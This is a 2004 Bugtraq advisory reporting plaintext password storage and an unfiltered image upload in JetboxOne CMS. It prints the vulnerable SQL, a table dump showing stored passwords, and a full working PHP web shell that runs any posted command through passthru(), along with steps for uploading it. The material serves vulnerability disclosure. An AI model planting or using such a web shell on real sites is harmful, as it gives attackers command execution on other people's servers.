vulnerabilities in JetboxOne CMS

From: ahmad muammar (y3dips_at_echo.or.id)
Date: 08/04/04

  • Next message: chris_at_scary.beasts.org: "CESA-2004-001: libpng"
    Date: 4 Aug 2004 04:03:58 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

    ECHO_ADV_03$2004

    ---------------------------------------------------------------------------
                   vulnerabilities in JetboxOne CMS
    ---------------------------------------------------------------------------

    Author: y3dips
    Date: August, 4th 2004
    Location: Indonesia, Jakarta
    Web: http://echo.or.id/adv/adv03-y3dips-2004.txt

    ---------------------------------------------------------------------------

    Affected software description:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Jetboxone is a freeware content management system, written in php by Arjen.

    download at : http://www.sourceforge.net/projects/jetboxone

    Version :
    tested on jetbox v2.0.8
    not tested on other/older version but it is possible be the same

    ---------------------------------------------------------------------------

    Vulnerabilities:
    ~~~~~~~~~~~~~~~~

    A. Unencrypted Password input in database table of user(Admin) and web user :

    all password that store in database was not encrypted, it means that attacker
    who could attack the database are possible to look all account and all password
    without do anything to crack it

    it prove in :

    /admin/cms/useradmin.inc.php > file for created admin and author

    $sql="INSERT INTO user (login, user_password, email, type, display_name) VALUES ('$_REQUEST[uname]','$_REQUEST[password1]','$_REQUEST[email]',\
    '$_REQUEST[usertype]','$_REQUEST[fullname]')";
    mysql_prefix_query($sql) or die (mysql_error());
    $newuid = mysql_insert_id();

    $_REQUEST[password1] <--- no encryption process,
    or if u dont believe, you just see in your database ,

    drive trough to your database from console ,

    mysql> use jet[or your db name]

    mysql> SELECT * FROM `user` ;

    +-----+---------+--------+---------------+------------------------+---------------+---------------+-------+----------------+
    | uid | session | login | user_password | email | type | display_name | visit | history |
    +-----+---------+--------+---------------+------------------------+---------------+---------------+-------+----------------+
    | 1 | NULL | admin | admin1 | a.schat@streamedge.com | administrator | Administrator | 1104 | 20040803215054 |
    | 2 | NULL | dudul | carnage | dudul@dudul.com | user | dudul | 7 | 20040803223734 |
    | 3 | NULL | y3dips | ganteng | y3dips@ganteng.com | administrator | y3dips | NULL | 20040803203157 |
    +-----+---------+--------+---------------+------------------------+---------------+---------------+-------+----------------+
    4 rows in set (0.11 sec)

    also for webuser (standard user)

    command :

    mysql> SELECT * FROM `webuser` ;

    B. Remote Execution shell

    it is possible for "Standard user" that have right as "Author" in "IMAGES"
    modules to upload malicious file (php shell :P) , because there isn`t filterring
    input file to uploads, so itis possible to execute malicious code, in this case
    i proof it with php code (use passthru() to execute shell command )

    make some php code, and upload it in images upload box :
    this is my simple code :

    you can find it in mysites http://geocities.com/y3d1ps/scarpt/echo-simple-shell.php.txt

    ---------------code-------------------

    <!-- simple php shell made by y3dips (echo.or.id) for test only-->
    <html>
    <head>
    <title>#E-C-H-O $imple $hell</title>
    </head>
    <BODY bgcolor="#000000">
    <table>
    <tr><td bgcolor=#cccccc>
    <?
    if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="ls -la ; pwd ;id "; }
    echo "<b>";
    echo "<div align=left><textarea name=report cols=70 rows=15>";
    echo "".passthru($_POST['cmd'])."";
    echo "</textarea></div>";
    echo "</b>";
    ?>
    </td></tr></table>
    <table>
    <tr><td height=18>
    <?
    echo "<form name=command method=post>";
    echo "<font face=Verdana size=1 color=red>";
    echo "<b> [echo]$ </b>&nbsp;&nbsp;";
    echo "<input type=text name=cmd size=45>&nbsp;&nbsp;";
    echo "<input type=submit name=submit value=\"0k\">";
    echo "</font>";
    echo "</form>";
    ?>
    </td></tr></table>

    ---------------eof code------------------

    save it as cmd.php

    and then click "show" BUM you have a shell with nobody access (APACHE/HTTPD)
    "there you go"

    ---------------------------------------------------------------------------

    The fix:
    ~~~~~~~~

    Vendor not contacted yet
    but i ll post it to them later

    ---------------------------------------------------------------------------

    Shoutz:
    ~~~~~~~

    ~ echo|staff (m0by, the_day, comex, z3r0byt3, K-159, c-a-s-e, S`to)
    ~ newbie_hacker@yahoogroups.com ,
    ~ #e-c-h-o@DALNET

    ---------------------------------------------------------------------------

    Contact:
    ~~~~~~~~

         y3dips || echo|staff || y3dips[at]phreaker[dot]net
         Homepage: http://y3dips.echo.or.id/

    ------------------------------- [ EOF ] -----------------------------------


  • Next message: chris_at_scary.beasts.org: "CESA-2004-001: libpng"

    Relevant Pages

    • PHP Dynamic Database Code
      ... I recently wrote some PHP classes that I think might be of interest to ... generate PHP code based on database table structure. ... database, I want it done for me by a script or through some Object ... let's look at the PHP code generated by the perl script: ...
      (comp.lang.php)
    • Re: delete file
      ... database, these changes are recorded to the a text file that the user can ... upload to a webpage that has a php script in it. ... Unlimited Access, Anonymous Accounts, Uncensored Broadband Access ...
      (alt.php)
    • Re: Upload and resize file
      ... That one is weird and not simple PHP code, which will do your task easily. ... print "Please upload only a JPEG image with the extension .jpg or ... decompress jpeg image to pnm file ...
      (php.general)
    • Re: PHP Dynamic Database Code
      ... database schema, and an EXPORT function which creates two files per table - ... I recently wrote some PHP classes that I think might be of interest to ... generate PHP code based on database table structure. ... A perl script named 'gendb' that reads the config file, ...
      (comp.lang.php)
    • Re: [PHP] Re: Upload and resize file
      ... simple PHP code, which will do your task easily. ... print "Please upload only a JPEG image with the extension .jpg ...
      (php.general)

  • Quantcast